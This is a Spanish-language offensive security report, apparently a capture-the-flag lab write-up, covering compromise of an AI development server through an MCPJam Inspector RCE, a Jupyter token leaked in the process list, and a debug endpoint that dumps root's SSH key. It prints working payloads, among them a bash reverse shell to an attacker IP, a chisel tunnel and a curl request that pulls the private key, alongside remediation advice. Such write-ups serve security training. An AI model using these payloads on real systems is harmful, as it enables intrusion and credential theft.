

EVALUACIÓN DE SEGURIDAD OFENSIVA – PROYECTO DEVHUB (AI STACK / PROTOCOLO MCP)

1. Cabecera Formal y Clasificación

Parámetro	Detalle
ID del Proyecto	SEC-RPT-LIN-DEVHUB-2026
Clasificación	TLP:CLEAR / Pública
Cliente / Entorno	Servidor de Desarrollo AI devhub.htb
Activo(s) en Alcance	10.129.245.216 (Puertos 6274, 8888, 5000)
Tipo de Evaluación	Prueba de Penetración Web y Auditoría de Servicios de Inteligencia Artificial / MCP
Estado	Compromiso Crítico Validado / Acceso Root Obtenido

2. Resumen Ejecutivo

La auditoría de seguridad sobre el servidor devhub.htb evidenció riesgos críticos derivados de la adopción prematura de arquitecturas para Inteligencia Artificial basadas en el protocolo MCP (Model Context Protocol), combinadas con prácticas deficientes de exposición de interfaces.

Se identificó la exposición no autenticada del servicio MCPJam Inspector en el puerto TCP 6274, vulnerable a ejecución remota de código (CVE-2026-23744), lo que brindó acceso inicial como mcp-dev. La inspección local de procesos permitió recuperar un token de autenticación expuesto en la línea de comandos de una instancia de Jupyter Lab, facilitando un movimiento lateral hacia analyst. Finalmente, un servicio interno de operaciones (OPSMCP) ejecutado bajo el contexto de root exponía un endpoint de depuración no autenticado que permitía volcar archivos del sistema de forma arbitraria, posibilitando la exfiltración de la clave privada SSH de root y el control absoluto del servidor.

3. Matriz de Hallazgos y Afección

Vulnerabilidad / Hallazgo	Criticidad	CVSS v3.1	OWASP / CWE	Mapeo MITRE ATT&CK
---------------------------	------------	-----------	-------------	--------------------

Ejecución Remota de Código en MCPJam (CVE-2026-23744)	Crítica	9.8	CWE-78 / OWASP A06:2021	T1190 - Exploit Public-Facing Application
Exposición de Claves SSH en Endpoint Interno de Gestión	Crítica	9.1	CWE-200 / OWASP A01:2021	T1552.004 - Unsecured Credentials: Private Keys
Fuga de Tokens de Acceso en Línea de Comandos de Procesos	Alta	7.5	CWE-214 / OWASP A02:2021	T1057 - Process Discovery
Enrutamiento Inseguro de Servicios Locales de Desarrollo	Media	5.3	CWE-668 / OWASP A05:2021	T1572 - Protocol Tunneling

4. Detalle Técnico y Pruebas de Concepto (PoC)

4.1. Explotación de MCPJam Inspector RCE (CVE-2026-23744)

El escaneo inicial identificó los puertos TCP 22 (SSH), 80 (nginx) y 6274 (MCPJam Inspector). La interfaz MCPJam carecía de controles de autenticación en el endpoint `/api/mcp/connect`, permitiendo ejecutar comandos en el sistema operativo mediante el envío de un payload JSON:

```
python3 -c '
import requests
url = "http://10.129.245.216:6274/api/mcp/connect"
payload = {"command": "bash -c \"bash -i >& /dev/tcp/10.10.14.29/5555
0>&1\""}
requests.post(url, json=payload)
'
```

Recepción de la sesión interactiva en la consola auditora:

```
nc -nvlp 5555
# Conexión establecida desde 10.129.245.216
id
# uid=1001(mcp-dev) gid=1001(mcp-dev) groups=1001(mcp-dev)
```

- **Impacto Técnico:** Ejecución remota de comandos no autenticada en el perímetro corporativo.
- **Remediación & Hardening:** Actualizar MCPJam Inspector a su versión parcheada, enlazar el servicio exclusivamente a 127.0.0.1 e implementar autenticación basada en

4.2. Inspección de Procesos y Pivoting a Jupyter Lab

Examinando la lista de procesos activos del sistema, se detectó una instancia de Jupyter Lab ejecutándose en el puerto local TCP 8888. El token secreto de acceso se encontraba expuesto como parámetro en la línea de comandos:

```
ps aux | grep jupyter
# analyst 1450 ... --
ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 --port 8888
```

Se desplegó un túnel inverso utilizando la herramienta chisel para acceder a la interfaz desde la máquina de auditoría:

```
# En el host de auditoría:
./chisel server -p 8080 --reverse

# En el objetivo (mcp-dev):
/tmp/chisel client 10.10.14.29:8080 R:8888:127.0.0.1:8888
```

Accediendo a <http://localhost:8888/?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7> en el navegador web, se abrió una terminal integrada en el entorno, logrando movimiento lateral al usuario analyst:

```
cat /home/analyst/user.txt
ea66b6aa73b530441e04c20ca6dca783
```

- **Impacto Técnico:** Acceso no autorizado al entorno analítico de datos y escalada lateral hacia la cuenta analyst.
- **Remediación & Hardening:** Ocultar los parámetros de inicio de sesión de los procesos pasando las credenciales mediante ficheros de configuración protegidos (jupyter_server_config.py) con permisos 0600.

4.3. Exfiltración de Llaves Privadas y Compromiso Root vía OPSMCP

Se identificó un servicio interno basado en Flask operando en el puerto local TCP 5000 (OPSMCP). Analizando el código fuente en `/opt/ops MCP/server.py`, se localizaron credenciales estáticas y una función oculta de volcado de claves (`ops._admin_dump`):

```
# Extracto auditado de /opt/opsmcp/server.py
API_KEY = "opsmcp_secret_key_4f5a6b7c8d9e0f1a"
# El servicio ejecuta como root y permite invocar ops._admin_dump
```

A través de una petición HTTP POST, se solicitó el volcado de la clave privada SSH de root:

```
curl -s -X POST 'http://127.0.0.1:5000/tools/call' \
  -H 'X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a' \
  -H 'Content-Type: application/json' \
  -d '{"name": "ops._admin_dump", "arguments": {"confirm": true, "target":
"ssh_keys"}}' | jq -r .data > /tmp/root_id_rsa
```

Se formateó la clave exfiltrada y se inició sesión como superusuario:

```
chmod 600 /tmp/root_id_rsa
ssh -i /tmp/root_id_rsa root@10.129.245.216
root@devhub:~# id
uid=0(root) gid=0(root) groups=0(root)
root@devhub:~# cat /root/root.txt
37ddc3f84278523da63b55cbf4ca7c5d
```

- **Impacto Técnico:** Compromiso absoluto del sistema operativo con privilegios de superusuario (root).
 - **Remediación & Hardening:**
 1. Eliminar funcionalidades de depuración no documentadas en código de producción.
 2. Ejecutar el servicio OPSMCP bajo un usuario de servicio sin privilegios y aislarlo de la ruta /root/.ssh/.
-
-